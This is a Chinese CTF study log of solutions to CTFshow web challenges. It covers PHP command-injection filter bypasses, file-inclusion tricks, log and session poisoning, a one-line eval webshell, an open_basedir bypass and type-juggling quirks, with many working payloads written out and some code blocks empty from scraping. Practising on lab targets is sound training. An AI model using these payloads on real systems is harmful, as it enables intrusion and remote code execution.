CTFshow做题记录
2021/7/26
信息搜集
web1
web2
web3
web4
web5
web6
web7
web8
web9
web10
web11
web12
web13
web14
web15
web16
web17
web18
web19
web20
爆破
web21
输入用户名和密码 admin 123456
抓包可以看到会把[用户名:密码]加密成base64
payload type使用Custom iterator
第一段为admin
第二段为:
第三段为字典
加密成base64形式 并取消urlencode编码
web22
web23
对两位数进行md5加密
int不能转换字母 遇到字母会报错
1 | import hashlib |
web24
web25
题目源码
1 |
|
通过源码可以得知
先利用flag当种子
1 | mt_srand(hexdec(substr(md5($flag), 0,8))); |
然后用传参的r减去第一个随机数
1 | $rand = intval($r)-intval(mt_rand()); |
这时候我们传r=0得到第一个随机数
利用php_mt_seed工具爆破种子
前面抓包可以知道php版本为7.3
所以种子应该是这三个其中之一
1 | $rand = intval($r)-intval(mt_rand()); |
先传入rand等于第一个随机数 保证其减去本身$rand=0
if中!0为真 脚本继续运行
更改cookie为后两个随机数之和 然后抓包更改cookie
经过实验 第二个种子读出了flag
web26
下载录取名单
进入信息查询api
http://632e82ba-2bda-495b-8e7d-07bcb013b353.challenge.ctf.show:8080/info/checkdb.php
构造js里看到的用户名和密码
抓包
构造身份证中缺少的出生日期
爆破得到返回信息
然后登陆得到flag
web27
选择Cluster bomb攻击模式
删除2.txt 增加两个爆破变量
爆破得到flag
命令执行
1 | more:一页一页的显示档案内容 |
web29
源码:
1 |
|
1 | ?c=system('tac f*'); |
1 | csdn: |
web30
源码:
1 |
|
1 | ?c=var_dump(shell_exec('tac f*')); |
1 | ?c=passthru('tac f*'); |
1 | csdn: |
2020/7/27
1 | more:一页一页的显示档案内容 |
命令执行
web31
源码:
1 |
|
1 | ?c=passthru("tac%09f*"); |
1 | csdn: |
web32
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web33
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web34
源码:
1 |
|
1 | ?c=include$_GET[a] &a=data://text/plain, system('tac f*'); |
1 | csdn: |
web35
源码:
1 |
|
1 | ?c=include$_GET[a] &a=data://text/plain, system('tac f*'); |
1 | csdn: |
web36
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web37
源码:
1 |
|
1 | ?c=data://text/plain, system('tac f*'); |
1 | csdn: |
web38
源码:
1 |
|
过滤了php file无法直接写命令了
做法一:
利用User-Agent配合文件包含执行命令
做法二:
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg== |
这里发现base64字符最后需要以等于号结尾 不知道为什么
例:
phpinfo()可以构造最后为等于号结尾 加一个分号phpinfo();不是等于号结尾就不行了
1 | csdn: |
web39
源码:
1 |
|
限定了传入的字符加上php后再进行包含
但是没有过滤php file字符
1 | ?c=data://text/plain, system('tac f*'); |
web40
套娃
源码:
1 |
|
无参数RCE 参考链接
1 | https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE |
可以传参,但是对输入进行了严格的过滤,如果通过检测,就可以被eval执行。
过滤了几个常见的伪协议,不能通过伪协议读取文件
preg_replace函数中的正则匹配是无参数函数的校验
其中的()是中文括号
其只允许执行如下格式函数
1 | a(b(c()));a(); |
current() 返回数组中的当前单元, 默认取第一个值。
localeconv() 函数返回一包含本地数字及货币格式信息的数组
pos() current() 的别名
这里还有一个知识点:
current(localeconv())永远都是个点
?c=print_r(localeconv());
?c=print_r(current(localeconv())); 就会返回一个点
因为
current() 返回数组中的当前单元, 默认取第一个值。
current(localeconv())永远都是个点
1 | print_r(scandir(current(localeconv())));=========print_r(scandir(pos(localeconv())));======================print_r(scandir('.')); |
我们现在需要读出数组中倒数第二个内容 即flag.php
首先想到的是通过随机函数来读 array_rand()
array_rand():从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景,
但是array_rand只能读出键
所以想办法把键值对互换
array_flip()交换数组的键和值
?c=print_r(array_flip(scandir(current(localeconv()))));
键值对交换完毕再用array_rand()随机读取
?c=print_r(array_rand(array_flip(scandir(current(localeconv())))));
刷新就能刷出随机的文件
做法一:
配合readfile/highlight_file等函数读出flag
1 | ?c=readfile(array_rand(array_flip(scandir(current(localeconv()))))); //不太好用 |
1 | ?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); //好用 |
1 | ?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); //好用 |
百分百读出flag
1 | ?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
array_reverse函数:array_reverse() 函数返回翻转顺序的数组。
next函数:next() 函数将内部指针指向数组中的下一个元素,并输出。
反转一下 读第二个 正好是flag.php
做法二:
1 | ?c=show_source(session_id(session_start())); |
配合session读文件
踩个坑
之前做的题的payload不行了
1 | ?c=system(session_id(session_start())); |
改成这样就行了
1 | ?c=session_start();system(session_id()); |
但是把session改成文件名 配合函数依然无法读取
查阅发现:受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
web41
源码:
1 |
|
用了大佬的脚本 两个脚本结合
exp.php
1 |
|
or.py
1 | import requests |
xor.py
1 | import requests |
php生成字典 python结合字典生成payload
踩坑:火狐渗透便携版的hackbar可以执行
1 | c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a");;# |
抓包可以
新版火狐不行
2020/7/28
web42
源码:
1 |
|
参考文章:https://www.cnblogs.com/ultranms/p/9353157.html
简单理解
1 | 重定向绑定 |
命令 | 标准输出 | 错误输出 |
---|---|---|
>/dev/null 2>&1 | 丢弃 | 丢弃 |
2>&1 >/dev/null | 丢弃 | 屏幕 |
利用%0a截断后面的命令 得以正常输出
1 | ?c=tac f*%0a //%0a换行 |
web43
源码:
1 |
|
过滤了 cat 和 ;
不影响上一题的payload
1 | ?c=tac f*%0a |
web44
源码:
1 |
|
过滤又多了个flag
依然不影响第一题的payload
1 | ?c=tac f*%0a |
web45
源码:
1 |
|
过滤多了个空格
把之前的空格替换成&09(tab)
或者用$IFS $IFS$9代替空格
1 | ?c=tac%09f*%0a |
web46
源码:
1 |
|
过滤增加了数字 $ *
换个通配符 或者用 \ ‘’ “”绕过
1 | ?c=tac%09f???.php%0a |
web47
源码:
1 |
|
过滤多了几个可以查看文件内容的命令 和上一题差不多的
1 | ?c=tac%09f???.php%0a |
web48
源码:
1 |
|
过滤多了几个可以查看文件内容的命令 和上一题差不多的
1 | ?c=tac%09f???.php%0a |
web49
源码:
1 |
|
过滤增加了反引号和%
1 | ?c=tac<fla\g.php|| //之前的用?匹配的payload用不了了 |
web50
源码:
1 |
|
增加了点过滤 和上一题还是差不多
1 | ?c=tac<fla\g.php|| |
web51
源码:
1 |
|
我最爱使用的tac被过滤了
1 | 其他命令 |
web52
源码:
1 |
|
过滤了<> 把对$的过滤取消了
1 | ?c=nl$IFS\fla\g.php|| //./flag.php 是假的 |
web53
源码:
1 |
|
不用截断了 可以直接执行命令
1 | ?c=ta''c$IFS\fla\g.php |
web54
源码:
1 |
|
过滤比较严格 不能用符号混淆匹配了
匹配到bin下的命令 查看flag.php 这里不用$IFS\了 不太明白为什么
1 | ?c=/bin/c??${IFS}???????? |
web55
源码:
1 |
|
方法一:
通过html表单构造post上传包
参考:https://blog.csdn.net/qq_46091464/article/details/108513145
1 |
|
这个tmp文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
然后通过的 . filename 去执行里面的文件内容
注意:通过
.去执行sh命令不需要有执行权限
p神的无字母getshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
1 | 所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。 |
tmp下的文件太多了 因为临时文件包含大写字母 让其中一位是大写字母 多发几次包 就匹配上了
1 | ?c=.%20/???/????????[@-[] |
本地实验
tmp里生成的php临时文件属于秒删的文件 需要条件竞争
本地源码:
1 |
|
.%20 .+ 跟文件名都可以
本地全?匹配可以匹配到 可能是因为本地临时文件少
方法二:
有这个命令的服务器可以用
1 | ?c=/???/????64 ???????? |
web56
源码:
1 |
|
屏蔽的字符又多了一些
base64读取的方法就不能用了
用构造上传的方式 文件名随意
1 | POST /?c=.+/???/????????[@-[] HTTP/1.1 |
web57
源码:
1 |
|
把问号也过滤了 同时定向system函数里cat命令查看php文件
1 | $(()) = 0 |
1 | 取反运算符~详解:https://zhuanlan.zhihu.com/p/261080329 |
小脚本
1 | # -*- coding: utf-8 -*- |
1 | ?c=$((~$((~$(())$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
web58
源码:
1 |
|
乍一看简单的命令执行 试了一下危险函数都被禁了
1 | c=highlight_file('flag.php'); |
之前的题目payload
1 | ?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |
1 | ?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
学习一下Y4师傅的payload
1 | 首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种 |
1 | //通过单一函数读取文件 |
1 | 通过fopen去读取文件内容,这里介绍下函数 |
1 | //通过高亮显示php文件 |
web59
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下 |
web60
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下 |
先执行c=copy(“flag.php”,”flag.txt”); 再访问 太厉害了
rename(“flag.php”,”flag.txt”); 直接把flag改成静态文件的名字
web61
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv()))); |
web62
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv()))); |
web63
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv()))); |
web64
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv()))); |
web65
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv()))); |
2020/7/30
web66
源码:
1 |
|
用c=highlight_file(‘flag.php’);读取flag.php文件
回显不在这里
想办法读一下目录
1 | c=print_r(scandir('/')); |
可以看到第六个文件是flag.txt
show_source函数被禁了
show_source() has been disabled
1 | c=highlight_file('/flag.txt'); |
1 | csdn: |
web67
源码:
1 |
|
print_r函数被禁了
用var_dump函数读取目录
1 | c=var_dump(scandir('/')); |
然后读取flag文件
1 | c=highlight_file('/flag.txt'); |
1 | csdn: |
web68
打开就显示函数错误 因为highlight_file()函数禁了 看不到源码了 不管那么多 先看一下目录
1 | c=var_dump(scandir('/')); |
发现了flag.txt
直接开始读
发现这俩个函数都禁了
1 | c=highlight_file('flag.php'); |
换新的
1 | c=include('/flag.txt'); |
web69
想读目录 var_dump print_r也禁了
看目录新姿势
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} |
然后读文件
1 | c=include('/flag.txt'); |
1 | csdn: |
web70
和web69一样 但是多了几个函数的禁用
1 | c=include('/flag.txt'); |
web71
源码:
1 |
|
增加了两个新函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
简而言之就是把该输出的内容放进$s 然后抹去输出 经过匹配替换后再输出内容
本地实验:
1 |
|
新技巧:这里只要让脚本提前终止运行就可以了
1 | c=include('/flag.txt');exit(); |
web72
源码:
1 |
|
flag.txt已经不在了
读目录
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flag0.txt 但是却不能读
看提示里说利用uaf的脚本进行命令执行
了解到知识点是 bypass open_basedir
现成的脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
ctfshow版
1 | function ctfshow($cmd) { |
用bp发包 url编码后赋值给参数c
web73
读目录:
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flagc.txt
做法一:
1 | c=require('/flagc.txt');exit(); |
做法二:
1 | post:c=include($_GET['url']);exit(); |
web74
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flagx.txt
1 | c=require_once('/flagx.txt');exit(); |
web75
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flag36.txt
但是用之前的函数读不了了
新技巧:看了wp是用mysql load_file读文件 太秀了。。。
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
美化版:
1 | c=try { |
web76
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flag36d.txt
用mysql load_file读文件
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
web77
读目录:
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flag36x.txt 还有一个readflag文件
新技巧:
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
什么是FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit(); |
利用该payload执行readfile 将文件输出到当前目录下的1.txt
然后通过url直接访问就可以
文件包含
web78
源码:
1 |
|
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
web79
源码:
1 |
|
利用str_replace函数把php替换成了???
用另一个伪协议
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs= |
web80
源码:
1 |
|
过滤了data 上一题的payload不能用了
随便访问一个不存在的文件可以看到服务器是nginx
区包含日志文件
1 | ?file=/var/log/nginx/access.log |
因为太乱了 不好看 所以直接传个马
这样也可以
web81
源码:
1 |
|
包含日志文件 然后包含UA
1 | ?file=/var/log/nginx/access.log |
web82
源码:
1 |
|
因为过滤了. 无法继续包含access.log了
新技巧:
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 cnblogs.com
1 | 问题一 |
可以通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含
构造上传
1 |
|
第一个post包
第二个get包
一起开启爆破
看到fl0g.php
修改post包的payload
继续同时发包
通杀脚本
1 | # -*- coding: utf-8 -*- |
2021/8/4
web83
源码:
1 | Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14 |
比上一题多了两个函数
session_unset();
session_destroy();
出现警告 在进行使用session_destroy()函数必须先调用session_start()函数。
构造上传
1 |
|
第一个post包
第二个get包
一起开启爆破 得到flag文件名
修改脚本 读取flag
web84
源码:
1 |
|
还是与之前一样 利用条件竞争读取
这次换个方式 改用脚本
1 | # -*- coding: utf-8 -*- |
web85
源码:
1 |
|
判断了php开头标签位置
上脚本
1 | # -*- coding: utf-8 -*- |
web86
源码:
1 |
|
上脚本
1 | # -*- coding: utf-8 -*- |
2021/8/10
web87
源码:
1 |
|
相关知识:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163#toc-3
死亡exit
使用base64绕过die函数
1 | php://filter/write=convert.base64-decode/resource=1.php |
1 | PD9waHAgc3lzdGVtKCd0YWMgZionKTs= // system('tac f*'); |
在base64语句前随便加两个字符 凑够phpdiexx 可以被base64解码
剩下的PD9waHAgc3lzdGVtKCd0YWMgZionKTs= 正常被解码然后执行
1 | content=aaPD9waHAgc3lzdGVtKCd0YWMgZionKTs= |
urldecode($file)
浏览器解码一次 函数解码一次
所以需要对file进行二次url编码
然后访问php文件即可看到flag ( 也可以写一个一句话木马进去)
web88
源码:
1 |
|
get方式接收file参数 过滤了很多符号 如果能够通过匹配就被包含
和79题差不多 但是这里过滤了等号 base64中=是用来填充的 可以去掉
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw |
php特性
web89
源码:
1 |
|
题目中要求传入数字 然后intval() 函数用于获取变量的整数值
利用preg_match()函数无法处理数组的漏洞绕过匹配
intval()函数貌似也无法处理数组
本地环境?num=aaaaa不输出
?num[]=aaaaa就可以输出
1 | 题目payload:?num[]=1 |
2021/8/11
web90
源码:
1 |
|
php弱类型总结
要求传入的num不能全等于4476 (数值类型)
且经过int转换之后需要全等于4476 (数值类型)
1 | 弱类型法:?num=4476asfsf ?num=4476.0 ?num=4476.1//第一个判断类型不相等 第二个判断经过强制转换之后相等 |
本地测试
web91
源码:
1 |
|
/i不区分大小写
/m代表匹配多行数据
考点:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展
第一个匹配 只要在某一行匹配到了开头和结尾都是php就可以通过 也就是说匹配内容中必须只有flag
第二个匹配不分行 一起匹配 要求不能出现php
1 | ?cmd=aaaa%0aphp |
第一个匹配遇到了%0a 当成换行符 继续匹配第二行 匹配到了只有php的一行 通过
第二个匹配一行内有%0aphp 不满足开头和结尾都是php 不通过 输出flag
web92
源码:
1 |
|
第一个if($num==4476) 要求传入的num不能等于4476 所以弱类型就失效了
看到intval里base参数还是0 所以可以用进制绕过
新知识:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
1 | 十六进制法: ?num=0x117c |
web93
源码:
1 |
|
第一个==判断可以用进制转换和科学计数法绕过
第二个判断检测不能出现字母,所以只能用八进制绕过
第三个intval配合八进制 输出flag
1 | 八进制:?num=010574 |
web94
源码:
1 |
|
多了一个判断函数
如果我们传入的num有0 则不通过 这样就不能用进制转换了
1 | ?num=4476.0 |
web95
源码:
1 |
|
preg_match(“/[a-z]|./i”, $num) 把小数点过滤了
可以通过8进制绕过但是前面必须多加一个字节 这样就保证开头字符不是0了
1 | ?num=+010574 |
web96
源码:
1 |
|
要求传入的u不能是flag.php
然后显示参数u文件的代码
可以配合伪协议绕过
也可以用相对/绝对路径绕过
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php |
web97
源码:
1 |
|
要求传入a和b参数 且a不等于b 且md5加密后的a和b相等
由于md5判断的是=== 全等 无法用弱类型绕过
md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,就会得到===强比较的值相等
1 | a[]=1&b[]=2 |
这个题目强碰撞没成功
1 | param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
web98
源码:
1 | Notice: Undefined index: flag in /var/www/html/index.php on line 15 |
知识点:php三元运算符与if的详解
php中引用的用法:
变量的引用赋值: $a = &$b
函数调用时的引用参数传递
1 |
|
web99
源码:
1 |
|
array() 函数用于创建数组。
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
rand() 函数生成随机整数。(如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。 )
in_array() 函数搜索数组中是否存在指定的值。
从题目来看 最难绕过的点就是in_array 如果传入n的文件名为x.php 需要在in_array中被搜索到才能通过
核心:in_array() 函数漏洞
1 | #以下,'7eee'被强制转换成整型 7 |
1 | 本地测试: |
因为rand()函数从1-877(0x36d)之间随机插入了很多数 只要是数字开头的 x.php就可以利用此漏洞
1 | GET: |
web100
源码:
1 |
|
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
绕过
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
利用这种方式
1 | $a=true and false and false; |
保证v1位数字 v2构造命令 v3写分号结尾
1 | eval("$v2('ctfshow')$v3 |
1 | if(!preg_match("/\;/", $v2)){ //v2中不能有分号 |
1 | eval("$v2('ctfshow')$v3 |
输出的flag需要把0x2d HEX Decode成 -
然后加上ctfshow{}
web101
源码:
1 |
|
v2过滤了很多符号 没法命令执行了 v3分号没过滤
考点是类反射
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
1 | PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 |
导出类信息
1 | ?v1=1&v2=echo new Reflectionclass&v3=; |
拿到flag 0x2d换成-
flag最后少一位 从0-9 a-z一个一个试
2021/8/12
web102
源码:
1 |
|
substr() 函数返回字符串的一部分。
substr(string,start,length)
call_user_func — 把第一个参数作为回调函数调用
这里v2必须是数字 因为赋值运算的优先级比AND和OR的高
$p = 6 and 0;
var_dump($p); //int(6)
substr函数会从第三个字符(012)开始截取
v1是自定义函数 可以利用hex2bin
v3没做限制 可以利用伪协议写入base64解码之后的字符串
1 | php://filter/write=convert.base64-decode/resource=1.php |
1 | PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= // eval($_POST[a]); |
将其转换为16进制字符串
1 | 50443977614841675a585a686243676b5831425055315262595630704f776f3d //PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= |
在base64字符串前面增加5个字符 然后转换成16进制
1 | aaaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= |
传入16进制字符串 绕过数字检测 substr函数截取变成
1 | 6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020 |
最终payload
1 | GET |
结果执行失败了 看了一些 是因为16进制中出现了字符串 没过检测 那么就想办法构造一个简短的payload
1 | // echo `cat *` =`cat *`; |
最终payload
1 | GET |
新知识:
1 | 是短标签 |
web103
源码:
1 |
|
这个题和上一题的不同之处是会检查hex2bin之后的base64字符串 是不存在php字符的 还是用上一题payload
1 | GET |
web104
源码:
1 |
|
要求post传入v1 get传入v2
两个参数经过sha1加密后相等
1 | GET:v2=1 / v2[]= |
web105
源码:
1 |
|
GET传入的参数作为数组遍历 如果参数名(key)全等于error 就退出脚本
继续向下执行 进行变量覆盖
POST传入的参数作为数组遍历 如果参数名(key)全等于flag就退出脚本
继续向下执行 进行变量覆盖
继续向下执行
如果post传入的flag参数的内容与flag变量不相等 就退出脚本 不传入flag也退出脚本
但是我们是不知道flag变量内容的
考点是变量覆盖
把error变成suces 把suces变成flag
如果不能传入与flag变量相等的flag参数的内容
就会触发die($error); 从而把flag输出
1 | GET |
web106
源码:
1 |
|
这次限定了v1不能和v2相等
直接弱类型
或者用数组绕过sha1函数
1 | aaK1STfY |
web107
源码:
1 |
|
出现了一个新函数 parse_str()
parse_str() 函数把查询字符串解析到变量中。
1 |
|
简单来说就是把传入的参数和内容变成变量
如果又第二个参数的话
就把第一个参数变成数组存储到第二个参数中
1 |
|
我们构造v1的内容为flag=xxx 将其存储到v2中
v3要经过md5加密 加密后需要等于v2中flag的内容 也就是我们传入的v1的flag的内容
最终payload:
1 | GET |
2021/8/13
web108
源码:
1 |
|
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值。
一个数经过反转并取整后等于十六进制0x36d即十进制的877
那这个数为778就可以
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1 | ?c=a%00778 |
web109
源码:
1 |
|
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
payload:
1 | ?v1=Exception&v2=system('cat fl36dg.txt') |
web110
源码:
1 |
|
过滤了很多 没办法命令执行了
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator
https://www.php.net/manual/zh/class.filesystemiterator.php
getcwd()函数 获取当前工作目录 返回当前工作目录 配合echo输出
1 | ?v1=FilesystemIterator&v2=getcwd //fl36dga.txt |
web111
源码:
1 |
|
1 | function getFlag(&$v1,&$v2){ |
利用全局变量输出flag
1 | ?v1=ctfshow&v2=GLOBALS |
2021/8/18
web112
源码:
1 |
|
有一个新函数
主要点还是对伪协议的过滤
payload:
1 | ?file=php://filter/resource=flag.php |
web113
源码:
1 |
|
过滤字符增加了filter
payload:
1 | ?file=compress.zlib://flag.php |
web114
源码:
1 |
|
过滤字符少了filter 多了compress|root|zip|convert
payload:
1 | ?file=php://filter/resource=flag.php |
web115
源码:
1 |
|
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ |
1 | 语法 |
payload:
1 | ?num=%0c36 //%0c==\f 换页符 +-.和换页符 都可以绕过 trim和is_numeric |
文件包含
web116
打开网页是一段视频
用foremost提取出一张图片
直接查看flag.php
file_get_contents可以直接读取
1 | view-source:http://85a4a1cb-1bc9-4085-b47d-207e3bb654ae.challenge.ctf.show:8080/index.php?file=flag.php |
web117
死亡exit
源码:
1 |
|
需要绕过die 过滤了常用的base64和rot13
换一个编码方式 php支持的字符编码
payload:
1 | GET |
命令执行
web118
打开页面有一个输入框 查看源代码
有一行
1 | <!-- system($code);--> |
猜测输入框内应该是code
post传参code
知识点: Bash的内置变量
大佬的讲解
这个题不同的环境会有不同的结果 题目本身也很绝
1 | payload: code=${PATH:~A}${PWD:~A} ????.??? |
web119
在118的基础上增加了 PATH、BASH、HOME的过滤
payload1:
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
payload2:
1 | ${#SHLVL} ====> 1 |
这题真的绝
web120
源码:
1 |
|
限制了长度
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? |
web121
源码:
1 |
|
增加了过滤字符 过滤多了几个变量 没过滤WD和RANDOM
想办法替换上一个payload
过滤了SHLVL,可以用 $?替代
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? |
1 | $? |
替换后
1 | code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? |
web122
源码:
1 |
|
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了
1 | $? |
1 | code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
绝了
php特性
web123 未理解未解答
源码:
1 |
|
payload:
1 | post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag |
1 | get: a=1+fl0g=flag_give_me |
1 | get: $fl0g=flag_give_me; |
命令执行
web124
有点累 先开文件上传了
文件上传
web151
提示:前台校验不可靠
前端校验 上传png格式的图片 抓包修改名称
web152
提示:后端校验要严密
与上一题一样做法
web153
提示:后端校验要严密
1 | auto_prepend_file = <filename> //包含在文件头 |
.user.ini
1 | auto_prepend_file = 1.png |
上传.user.ini也需要抓包
auto_prepend_file = 1.png
这个配置的意思就是在当前目录下的.php 文件包含 1.jpg 这个图片,在此处相当于在 index.php 文件头插入了 require('1.png')
这条语句,也就是说相当于文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
上传.user.ini与1.png
访问url/upload/index.php
即可使用一句话木马
web154
提示:后端校验要严密
